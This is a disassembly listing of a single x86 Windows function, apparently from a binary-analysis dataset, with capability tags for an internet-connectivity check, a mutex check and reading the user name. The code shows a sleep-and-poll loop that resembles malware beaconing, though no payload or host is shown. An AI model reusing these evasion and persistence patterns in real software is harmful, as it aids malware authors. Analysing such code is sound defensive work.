Function at 0x403c4a
Capabilities:
Check internet connectivity via wininet
Check mutex on windows
Get session user name

Disassembly:
push 0x150
mov eax, 0x417b6e
call fcn.004167d4
mov esi, dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0x8001
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.004030a1
test al, al
jne 0x403c8b
push 0x41a9ac
call fcn.00403a29
pop ecx
push 0x104
push esi
push 0x41f810
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
mov byte [0x41f913], bl
mov byte [ebp - 0x28], bl
xor eax, eax
lea edi, [ebp - 0x27]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x28]
call fcn.0040182a
test al, al
jne 0x403d06
mov byte [ebp - 0x44], bl
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x43]
rep stosd dword es:[edi], eax
push 0x41a9b0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x41a9b4
lea eax, [ebp - 0x44]
push eax
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
call esi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x44]
push eax
call esi
lea eax, [ebp - 0x44]
push eax
call fcn.00403a29
pop ecx
push 3
pop eax
jmp 0x403ebb
mov byte [ebp - 0x148], bl
push 0x103
push ebx
lea eax, [ebp - 0x147]
push eax
call fcn.0040a990
add esp, 0xc
push 0x41a9b8
lea eax, [ebp - 0x148]
push eax
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
call esi
push 0x41f6b8
lea eax, [ebp - 0x148]
push eax
call esi
push 0x41a68c
lea eax, [ebp - 0x148]
push eax
call esi
lea eax, [ebp - 0x148]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x403d88
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push str.2prg
call fcn.00403a29
pop ecx
xor eax, eax
inc eax
jmp 0x403ebb
lea ecx, [ebp - 0x28]
call fcn.00402df2
mov dword [0x41f80c], eax
mov dword [ebp - 0x154], 0x104
lea eax, [ebp - 0x154]
push eax
mov esi, 0x41f708
push esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x403dc2
push 0x41a9c4
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [0x41f914]
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0x14c], ebx
lea eax, [ebp - 0x150]
push eax
call fcn.00404075
pop ecx
mov eax, dword [esi + 8]
sub eax, dword [ebp - 0x150]
mov ecx, dword [esi + 0xc]
sbb ecx, dword [ebp - 0x14c]
cmp ecx, ebx
jg 0x403e09
jl 0x403dfe
cmp eax, 5
jae 0x403e09
push 5
pop eax
mov dword [ebp - 0x158], ebx
jmp 0x403e1c
push ebx
push 0x15f90
push ecx
push eax
call fcn.00417620
mov dword [ebp - 0x158], edx
imul eax, eax, 0x3e8
push eax
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
push ebx
push 1
push 0x41fa28
call dword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
jne 0x403e44
push 0x927c0
jmp 0x403e29
call fcn.004022a6
test al, al
jne 0x403dc2
push str._UpFl
call fcn.004013ea
push ebx
push dword [0x41f914]
call dword [sym.imp.KERNEL32.DLL_FlushViewOfFile]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
push 0xf
pop ecx
div ecx
add edx, 0xa
imul edx, edx, 0xea60
push edx
call esi
jmp 0x403dc2
call fcn.00416821
ret 0x10